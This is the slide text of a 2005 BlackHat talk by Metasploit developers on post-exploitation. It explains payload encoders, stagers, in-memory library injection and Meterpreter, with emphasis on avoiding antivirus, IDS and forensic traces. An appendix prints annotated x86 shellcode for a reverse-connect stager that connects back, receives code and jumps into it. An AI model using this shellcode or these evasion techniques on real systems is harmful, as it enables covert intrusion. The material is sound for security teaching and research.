Beyond EIP

spoonm & skape

BlackHat, 2005

Part I

Introduction

Who are we?

- spoonm
 - Full-time student
 - Metasploit developer since late 2003
- skape
 - Lead software developer by day
 - Independent security researcher by night
 - Joined the Metasploit project in 2004
 - Responsible for all cool features

What's this presentation about?

- What it's not about
 - New exploit / attack vectors
 - New exploitation techniques
 - Oday, bugs, etc
- What it is about
 - What you can do after owning EIP
 - The techniques to do it
 - Our tools to support it

Plan of attack

- Payload Infrastructure
 - Payload composition
 - How payloads work
 - Recent tools, tricks, and techniques
- Post-exploitation tools
 - Background & review of existing tools
 - The technology behind our tools
 - How they can be used
 - Crazy cool features for the end-user

Our definitions: the exploitation cycle

- Pre-exploitation Before the attack
 - Find a bug, isolate, write exploit
 - Write any other tools, payloads, etc
- Exploitation Leveraging the vulnerability
 - Recon, information gathering, find target
 - Initialize tools and infrastructure
 - Launch the exploit
- Post-exploitation Manipulating the target
 - Arbitrary command execution
 - Command execute via shell
 - File access, VNC, pivoting, etc
 - Advanced payload interaction

Part II

Payload Infrastructure

Anatomy of a Payload

[nops][decoder(encoded payload)]

- Nop sled
 - For exploits where return is uncertain
 - Control flows through the sled into the encoder
 - Generally 1 byte aligned for x86
- Decoder
 - Synonymous with payload encoder
 - Loops and decodes payload
 - Payload executed when finished
- Payload
 - Arbitrary code
 - Typically provides a command shell

What's a nop sled?

Definition

 A series of bytes that equate to no-operations on the target architecture

How a nop sled works

- Client builds a nop sled and prepends it to a payload
- Client transmits the entire payload via an exploit
- Target executes all, some, or none of the nop instructions
- Execution falls through to the payload

What's so cool about nop sleds?

- Not all vulnerabilities have predictable return addresses
 - Particularly useful when brute forcing
- Using a sled can improve exploit quality
 - Increasing the brute force step size decreases number of attempts

Nop sled technology

Existing technology

- ▶ perl -e 'print "\x90" x \$ARGV[0]"' sled_size
- ADMutate single-byte x86

Metasploit technology

- Opty2 multi-byte sled generator
- Based on Optyx's multi-byte sled generator

What's an encoder?

Definition

 Algorithm to retain payload functionality, but alter the byte sequence

How an encoder works

- Client encodes the payload prior to transmission
- Client prepends decoder stub to the payload
- Client transmits the entire payload via an exploit
- Target executes the decoder stub
- Decoder stub performs inverse operation on the payload
- Original payload is executed

What's so cool about encoders?

- Avoid common restricted characters (0x00, 0x0a, etc)
- Survive application translations (unicode, toupper)
- IDS evasion
 - Static string signatures (/bin/sh)
 - Specific payload and payload pattern signatures

Encoder technology

Existing technology

- XOR
 - Defacto standard for encoders
 - Typically performed on a byte, word, or dword basis
 - Variable or static key
 - Decoder stubs are usually static excluding the key
- Alphanumeric / Unicode
 - Rix's x86 encoder from Phrack 57
 - SkyLined's Alpha2 x86 ascii and unicode encoder
 - Dave Aitel and FX's unicode encoders

Metasploit technology

Shikata Ga Nai

What's a payload?

Definition

Arbitrary code that is to be executed upon successful exploitation
How a payload works

- Client prepares the payload for execution
- Data may be embedded (cmd to execute, hostname, port, etc)
- Client transmits the payload via an exploit
- Target executes the payload

The three types of payloads

Single

- A self-contained payload that performs a specific task
- Size varies depending on the task
- Example: Reverse of bind command shell
- Stager
 - A stub payload that loads / bootstraps a stage
 - Size generally much smaller than single payloads
 - Passes connection information onto the stage

Stage

- Similar to a single payload, but takes advantage of staging
- Uses connection passed from the stager
- Not subject to size limitations of individual vulnerabilities
- A stager can also be a stage

Single payloads

- Easy plug & chug payloads
- Task oriented and connection specific
- Single payloads have to be developed for each connection (portbind, reverse, findsock)
 - Requires the payload to be implemented N times
 - Shellcode development systems tried to help with this
- Subject to size limitations of individual vulnerabilities

Payload stagers

- Stagers are typically network based and follow three basic steps
 - Establish connection to attacker (reverse, portbind, findsock)
 - Read in a payload from the connection
 - Setup connection information and branch to stage
- The three steps make it so stages are independent of the connection method
 - No need to have command shell payloads for reverse, portbind, and findsock

Why are payload stagers useful?

- Some vulnerabilities have limited space for the initial payload
- Typically much smaller than the stages they execute
- Eliminate the need to re-implement payloads for each connection method
- Provides an abstraction level for loading code onto a remote machine through any medium

Existing payload stager technology

- Standard reverse, portbind, and findsock stagers included in Metasploit 2.2+
- LSD Win32 Assembly Components
- Found in public exploits (Solar Eclipse OpenSSL)

Payload stages

- Payload stages are executed by payload stagers and perform arbitrary tasks
- Some examples of payload stages include
 - Execute a command shell and redirect IO to the attacker
 - Execute an arbitrary command (ex adduser)
 - Download an executable from a URL and execute it

Why are payload stages useful?

- Highly reusable (connection independent, etc)
- Can conform to some sort of ABI
- Not subject to size limitations of individual vulnerabilities
- This means they can be arbitrarily complex

"Advantage" payloads

- Shellcode generation systems
- Generally have more features because they're easier to write
- The system's infrastructure makes the payloads more capable
- Help to reduce the tediousness of writing payloads
- Stealth's Hellkit
- Core ST's InlineEgg
- Philippe's Shellforge
- Dave Aitel's MOSDEF

Windows ordinal stagers

- Technique from Oded's lightning talk at core04
- Uses static ordinals in WS2_32.DLL to locate symbol addresses
- Compatible with all versions of Windows (including 9X)
- Results in very low-overhead symbol resolution
- Facilitates implementation of reverse, portbind, and findsock stagers
- Leads to very tiny win32 stagers (92 byte reverse, 93 byte findsock)
- Detailed write-up can be found in reference materials

How ordinal stagers work

- Ordinals are unique numbers that identify exported symbols in PE files
- Each ordinal can be used to resolve the address of an exported symbol
- Most of the time, ordinals are incremented linearly by the linker
- Sometimes, however, developers may wish to force symbols to use the same ordinal every build
- When ordinals are the same every build, they are referred to as static
- Using an image's exports by ordinal instead of by name is more efficient at runtime
- However, it will not be reliably portable unless the ordinals are known-static
- Very few PE files use known-static ordinals, but WS2_32.DLL is one that does
 - ▶ 30 symbols use static ordinals in WS2_32.DLL

Limitations of ordinal stagers

- Only 30 symbols can be used
 - WSASocketA is not among them
- Can't initialize winsock if it isn't initialized
 - WSAStartup doesn't have a static ordinal
- Can't use sockets as direct standard I/O handles
 - Sockets returned from socket aren't valid console handles
 - Must use pipes instead

Implementing a reverse ordinal stager

- Locate the base address of WS2_32.DLL
 - Extract the Peb->Ldr pointer
 - Extract Flink from the InInitOrderModuleList
 - Loop through loaded modules comparing module names
 - Module name is stored in unicode, but can be partially translated to ANSI
 - Once WS2_32.DLL is found, extract its BaseAddress
- Resolve socket, connect, and recv
 - Use static ordinals to index the Export Directory Address Table
- Allocate a socket, connect to the attacker, and read in the next payload
- Requires that WS2_32.DLL already be loaded in the target process

Part III

Post Exploitation

What is post-exploitation?

- The purpose of an exploit is to manipulate a target
- Manipulation of a target begins in post-exploitation
 - Command shells are executed
 - Files are downloaded
- Represents the culmination of the exploitation cycle

What do most people do in post-exploitation?

- Most people spawn a command shell
 - Poor automation support
 - Reliant on the shell's intrinsic commands
 - Limited to installed applications
 - Can't provide advanced features
- Some people use syscall proxies
 - Good automation support
 - Partial or full access to target native API
 - Can be clumsy when implementing complex features
 - Typically require specialized build steps

Dispatch Ninja Demos!

What is Meterpreter?

- An advanced post-exploitation system
- Based on library injection technology
- First released with Metasploit 2.3
- Detailed write-up can be found in reference materials
- After exploitation, a Meterpreter server DLL is loaded on the target
- Attackers use a Meterpreter client to interact with the server to...
 - Load run-time extensions in the form of DLLs
 - Interact with communication channels
- But before understanding Meterpreter, one should understand library injection...

Library injection

- Provides a method of loading a library (DLL) into an exploited process
- Libraries are functionally equivalent to executables
 - Full access to various OS-provided APIs
 - Can do anything an executable can do
- Library injection is covert; no new processes need to be created
- Detailed write-up can be found in reference materials

Types of library injection

- Two primary methods exist to inject a library
 - 1. **On-Disk**: loading a library from the target's harddrive or a file share
 - 2. In-Memory: loading a library entirely from memory
- Both are conceptually portable to non-Windows platforms

On-Disk library injection

- Loading a library from disk has been the defacto standard for Windows payloads
- Loading a library from a file share was first discussed by Brett Moore
- On-Disk injection subject to filtering by Antivirus due to filesystem access
- Requires that the library file exist on the target's harddrive or that the file share be reachable

In-Memory library injection

- First Windows implementation released with Metasploit 2.2
- Libraries are loaded entirely from memory
- No disk access means no Antivirus interference
- Most stealthy form of library injection thus far identified
- No disk access means no forensic trace if the machine loses power

In-Memory library injection on Windows

- Library loading on Windows is provided through NTDLL.DLL
- NTDLL.DLL only supports loading libraries from disk
- ► To load libraries from memory, NTDLL.DLL must be tricked
- When loading libraries, low-level system calls are used to interact with the file on disk
 - NtOpenFile
 - NtCreateSection
 - NtMapViewOfSection
- These routines can be hooked to change their behavior to operate against a memory region
- Once hooked, calling LoadLibraryA with a unique pseudo file name is all that's needed

Library injection in action: VNC

- VNC is a remote desktop protocol
- Very useful for remote administration beyond simple CLIs
- First demonstrated at BlackHat USA 2004
- Metasploit team converted RealVNC to a standalone DLL
 - No non-standard file dependencies
 - No installation required
 - Does not make any registry or filesystem changes
 - Does not listen on a port; uses payload connection as a VNC client
- By using the generic library loading stager, VNC was simply plugged in
- Extremely useful when illustrating security weaknesses
- Suits understand mouse movement much better than command lines

Meterpreter: Design goals

- Primary design goals are to be...
 - Stealthy: no disk access and no new process by default
 - **Powerful**: channelized communication and robust protocol
 - Extensible: run-time augmentation of features with extensions
- Portability also a design consideration
 - The current server implementation is only for Windows

Architecture - design goals

- Very flexible protocol; should adapt to extension requirements without modification
- Should expose a channelized communication system for extensions
- Should be as stealthy as possible
- Should be portable to various platforms
- Clients on one platform should work with servers on another
- All non-critical features should be implemented by extensions

Architecture - protocol

- Uses TLV (Type-Length-Value) to support opaque data
- Every packet is composed of zero or more TLVs
- Packets themselves are TLVs
 - Type is the packet type (request, response)
 - Length is the length of the packet
 - Value is zero or more embedded TLVs
- TLVs make packet parsing simplistic and flexible
 - No formatting knowledge is required to parse the packet outside of the TLV structure

Core client/server interface

- Server written in C, client written in any language
- Provides a minimal interface to support the loading of extensions
- Implements basic packet transmission and dispatching
- Exposes channel allocation and management to extensions
- Also includes support for migrating the server to another running process
- Metasploit 2.x has a perl Meterpreter client
- Metasploit 3.x will use a ruby Meterpreter client

Augmenting features at run-time

- Adding new features is as simple as loading a DLL on the server
 - Client uploads the extension DLL
 - Server loads the DLL from memory and initializes it
- Client can begin sending commands for the new extension

Meterpreter extensions in action: Stdapi

- Included in Metasploit 3.0
- Combination of previous extensions into standard interface
- Provides access to standard OS features
- Feature set provides for robust client-side automation
- Designed to mirror the Ruby API to make it easy to use existing scripts against targets

Why is Meterpreter useful?

- Standard interface makes it possible to use one client to perform common actions on various platforms
 - Execute a command interpreter and channelize the output
 - Turn on the target's USB webcam and begin streaming video
- Programmatically automatable
 - RPC-like protocol allows arbitrarily complex tasks to be performed with a common interface
 - Extension-based architecture makes Meterpreter completely flexible
- Use of in-memory library injection makes it possible to run in a stealth fashion

Some of the features Meterpreter can offer

- Command execution & manipulation
- Registry interaction
- File system interaction
- Network pivoting & port forwarding
- Complete native API proxying
- Anything you can do as a native DLL, Meterpreter can do!
- Sky's the limit!

Part IV

Demos

Part V

Conclusion

What does the future hold?

- Exploitation vectors and techniques are mature
- Public post-exploitation suites still very weak
- However, post-exploitation is maturing
- Metasploit 3.0 should be cool

Reference Material

Payload Stagers

PassiveX

http://www.uninformed.org/?v=1&a=3&t=sumry

Payload Stages

Library Injection

http://www.nologin.org/Downloads/Papers/ remote-library-injection.pdf

Meterpreter

http:

//www.nologin.org/Downloads/Papers/meterpreter.pdf

Part VI

Appendix

Part VII

Appendix: Payload Stagers

Locating WS2_32.DLL's base address

FC	cld	;	clear direction (lodsd)
31DB	xor ebx,ebx	;	zero ebx
648B4330	<pre>mov eax,[fs:ebx+0x30]</pre>	;	eax = PEB
8B400C	<pre>mov eax,[eax+0xc]</pre>	;	eax = PEB->Ldr
8B501C	<pre>mov edx,[eax+0x1c]</pre>	;	<pre>edx = Ldr->InitList.Flink</pre>
8B12	mov edx,[edx]	;	edx = LdrModule->Flink
8B7220	mov esi,[edx+0x20]	;	esi = LdrModule->DllName
AD	lodsd	;	eax = [esi] ; esi += 4
AD	lodsd	;	eax = [esi] ; esi += 4
4E	dec esi	;	esi
0306	add eax,[esi]	;	eax = eax + [esi]
		;	(4byte unicode->ANSI)
3D32335F32	cmp eax,0x325f3332	;	eax == 2_32?
75EF	jnz 0xd	;	not equal, continue loop

Resolve symbols using static ordinals

8B6A08	mov	ebp,[edx+0x8]	;	ebp = LdrModule->BaseAddr
8B453C	mov	eax,[ebp+0x3c]	;	eax = DosHdr->e_lfanew
8B4C0578	mov	<pre>ecx,[ebp+eax+0x78]</pre>	;	ecx = Export Directory
8B4C0D1C	mov	<pre>ecx,[ebp+ecx+0x1c]</pre>	;	ecx = Address Table Rva
01E9	add	ecx,ebp	;	ecx += ws2base
8B4158	mov	eax,[ecx+0x58]	;	eax = socket rva
01E8	add	eax,ebp	;	eax += ws2base
8B713C	mov	esi,[ecx+0x3c]	;	esi = recv rva
Olee	add	esi,ebp	;	esi += ws2base
03690C	add	ebp,[ecx+0xc]	;	ebp += connect rva

Create the socket, connect back, recv, and jump

; Use chained call-stacks to save space ; connect returns to recy returns to buffer (fd in edi) 53 push ebx ; push 0 6A01 push byte +0x1 ; push SOCK_STREAM 6A02 push byte +0x2 ; push AF INET 0 DTTT call eax ; call socket 97 xchq eax,edi ; edi = fd 687F000001 push dword 0x100007f ; push sockaddr in 68020010E1 push dword 0xe1100002 89E1 mov ecx,esp ; ecx = &sockaddr in 53 push ebx ; push flags (0) B70C mov bh,0xc i ebx = 0x0c0053 push ebx ; push length (0xc00) 51 push ecx ; push buffer 57 push edi ; push fd 51 push ecx ; push buffer 6A10 push byte +0x10 ; push addrlen (16) 51 push ecx ; push &sockaddr in 57 ; push fd push edi 56 push esi ; push recv FFE5 jmp ebp ; call connect